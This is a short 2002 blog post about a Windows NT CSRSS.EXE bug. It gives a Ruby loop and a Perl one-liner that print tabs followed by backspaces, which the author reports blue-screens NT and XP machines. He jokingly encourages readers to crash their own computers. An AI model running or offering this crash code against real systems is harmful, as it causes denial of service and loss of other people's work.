Home > I can blue screen NT in 1 line

I can blue screen NT in 1 line

23rd August 2002

"I hate windows!"

"Bill Gates sux0rz!"

"Not going to pay the Microshaft tax!"

It is popular to hate Microsoft products these days. Some claim that their hard feelings are rooted in the monopolistic practices of Microsoft. Some cite the instability in the OS as a reason for ire. Still others believe that Bill Gates is the Devil himself. For all the talk, what are you doing to get back at Microsoft?

The Summer 2002 edition of 2600 magazine provides some tips.

Many (all?) NT derived systems run a program called CSRSS.EXE that controls terminal screens. Any program that spews text to STDOUT uses this programming. Someone discovered an awesome bug in this program that allows the following program to blue screen an NT box.

while 1 
   print("hungup\t\b\b\b\b\b\b");
end

This bit of Ruby code exploits CSRSS.EXE's poor handling of backspaces following tab characters. Since this cries out for a Perl one-liner:

perl -e 'while(1){ print "hungup\t\b\b\b\b\b\b" }'

I have verified that this will take down my XP machine. And, it felt good.

Lest someone mistake me for a terrorist, I'm only advocating destruction of your personal property. I am, however, advocating extreme abuse of your personal property. Have fun.

Update: Jordan corrected my foolish one-liner bug.

[Original use.perl.org post and comments.]

Tags: bugs, windows